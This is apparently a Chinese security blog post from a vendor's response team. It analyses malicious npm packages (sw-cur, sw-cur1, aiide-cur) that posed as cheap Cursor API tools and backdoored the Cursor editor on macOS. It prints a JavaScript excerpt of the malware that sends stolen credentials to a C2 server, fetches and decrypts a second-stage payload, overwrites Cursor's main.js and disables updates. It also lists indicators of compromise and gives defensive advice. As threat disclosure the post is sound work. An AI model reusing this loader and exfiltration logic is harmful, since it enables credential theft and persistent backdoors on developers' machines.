我们是专注AI编程安全的啄木鸟团队。最近,全球有数千名开发者在不知情的情况下,跟随短视频教程,一步一步的成为了黑客的“傀儡木偶”……
1
深夜的羊毛——小鹅的魔幻一夜
凌晨三点,程序员小鹅在社交媒体上发现了一个“神器” —— 号称能用全网最低价调用 Cursor 的API。他跟着教程随手敲下 “npm install sw-cur” ,却没想到,这个“薅羊毛工具”竟让他的代码编辑器开始“自己动笔”:窃取用户凭证、篡改Cursor核心文件、下载恶意木马部署持久化后门,甚至向项目代码库里塞入一串神秘字符……
这不是小鹅的幻觉,而是最近真实发生的npm供应链投毒事件。某恶意黑客通过三个伪装成“全网最低价使用AI工具”的恶意软件包,已让4200多名开发者的 AI编辑器沦为“提线木偶”。截止发文,npm 官方已移除恶意包,但恶意攻击网站仍然活跃。
(数据来源:npm-stat,近三月恶意软件包下载量)
2
黑客的木偶戏——我的编辑器为何叛变?
恶意黑客的操作堪比“间谍剧本”,攻击者通过伪装成“超低价API”工具,诱使程序员安装恶意软件。这些软件在不知不觉中,窃取了开发者的登录凭证,甚至篡改了他们的代码,植入了后门。逐步把开发者工具变成恶意黑客的“肉鸡”。
钓鱼执法——「免费、全网最便宜」的诱饵
-
该恶意攻击者自去年以来,瞄准了程序员“能省则省”的心态,在多个短视频平台发布“免费使用Cursor” 等教程,通过短视频网站引流,快速吸粉目标群体。
(图:恶意攻击者在多个短视频平台的引流页面)
-
之后,攻击者在 npm 页面中依然号称提供“全网最便宜的 Cursor API 服务”(实际 Cursor 官方调用按次收费,每次调用ChatGPT-o3模型需要0.3美元),诱导程序员下载安装。以最便宜的承诺吸引用户,同时悄悄在软件包中部署后门。
(图:发布恶意 npm 软件包的作者,利用“全网最便宜”的噱头诱导下载)
傀儡附身——Cursor秒变「双面间谍」
此次攻击专门针对 MacOS 系统中的 Cursor 应用程序,当安装命令执行时,sw-cur、sw-cur1和aiide-cur软件包中的恶意脚本会执行一系列操作,就像潜伏在黑暗中的幽灵,恶意软件悄无声息地闯入了开发者的电脑,悄悄植入了一个隐藏的后门,随时等待黑客的命令。
(图:恶意软件包执行流程图)
1. 用户凭证收割:自动捕获用户输入的 Cursor 账号密码,URL编码后通过 GET 请求发送至攻击者服务器。
-
sw-cur/sw-cur1:
发送至cursor[.]sw2031[.]com/api/login
-
aiide-cur:
发送至 aiide[.]xyz/api/login
(图:一个看似无害的登录网站,实则为攻击者控制的恶意服务器)
2. 加载恶意木马:从攻击者控制的服务器下载AES加密 + GZIP压缩的恶意代码
-
sw-cur:源地址 t[.]sw2031[.]com
-
aiide-cur:源地址 api[.]aiide[.]xyz
(图:该恶意攻击者所使用域名的关联公司)
3. 解密密钥:统一使用硬编码的32字节密钥
a8f2e9c4b7d6m3k5n1p0q9r8s7t6u5v4
4. 文件备份:在篡改前自动备份原始文件 main.js → main.js.bak
5. 代码注入:将窃取的凭证写入恶意载荷,覆盖以下关键路径:
/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist/main.js
6. 持久化操作:
-
禁用自动更新:阻止用户通过官方渠道修复
-
强制重启应用:确保恶意代码立即生效
下面为部分核心代码片段,三个变体共有的后门逻辑。除了部分域名最终调用有所不同以外,凭证泄露、加密下载木马、解密木马和文件序列均完全相同。
// 1. 将窃取的凭据发送至C2服务器(cursor[.]sw2031[.]com)
// T_T 偷完密码还要给黑客发个「到货通知」
const url = `${webHost}/api/login?username=${u}&password=${p}&t=${Date.now()}`;
await httpRequest('GET', url);
// 2. 下载并解密第二阶段有效负载
const res = await httpRequest('GET', `${apiHost}/j?t=${Date.now()}`);
const buf = Buffer.from(JSON.parse(res).data, 'base64');
const stage2 = await gunzip(await aesDecrypt(buf, hardCodedKey));
// 3. 覆盖Cursor的main.js并禁用更新
const target = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist/main.js';
fs.copyFileSync(target, `${target}.bak`); // 创建备份
fs.writeFileSync(target, stage2.toString() // 注入后门
.replace('test:123456', `${u}:${p}`));
disableAutoUpdate(); // 禁用自动更新
3
程序员自救指南——别当黑客的「免费劳动力」
防毒三件套
1. 「验毒银针」:用 npm audit 或 Socket 扫描器(GitHub 神器)给代码做 CT 扫描;
2. 「AI 门卫」:安装 IDE 插件实时监控“谁在偷翻你的代码日记”。
3. 「断舍离」:非必要不乱装来路不明的包,就像不点陌生链接(少薅羊毛保平安)。
中招急救包
1. 立刻断网!防止黑客继续“远程抄家”;
2. 从官方渠道重装 Cursor,别轻信任何“绿色破解版”;
3. 把电脑上存过的密码全改了,尤其是GitHub、大模型服务和云服务密钥等,尽最大可能降低损失。
写在最后
恶意攻击者总是潜伏在看似无害的地方。作为开发者,我们不仅要对代码负责,更要对代码的安全负责。下次当你看到薅羊毛的 npm install 时,不妨多问一句:
“这行代码,究竟是我的助手,还是黑客的卧底?”
(虽然 npm 官方已移除恶意包,但安全意识应常伴,别让下个“小鹅”变成你!)
附录:
恶意 IOC:
「恶意 npm 软件包」
-
sw‑cur:https://socket.dev/npm/package/sw-cur/overview/2.6.0
-
sw‑cur1:https://socket.dev/npm/package/sw-cur1/overview/1.4.0
-
aiide‑cur:https://socket.dev/npm/package/aiide-cur/overview/1.9.2
「恶意攻击者标识」
-
gtr2018 — npm 别名
-
aiide — npm 别名
-
404228858@qq[.]com — 电子邮件地址
-
touzi_xiansheng@outlook[.]com — 电子邮件地址
「恶意 C2 服务器」
-
cursor[.]sw2031[.]com
-
cursor[.]sw2031[.]com/api/login
-
t[.]sw2031[.]com
-
aiide[.]xyz/api/login
-
aiide[.]xyz
「AES 解密密钥」
-
a8f2e9c4b7d6m3k5n1p0q9r8s7t6u5v4
参考文章:
https://socket.dev/blog/malicious-npm-packages-hijack-cursor-editor-on-macos
npm-stat: download statistics for NPM packages
Malicious npm Packages Infect 3,200+ Cursor Users With Backd... - vulnerability database | Vulners.com
原文始发于微信公众号(腾讯安全应急响应中心):当黑客用自媒体传播恶意软件——程序员如何自救?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论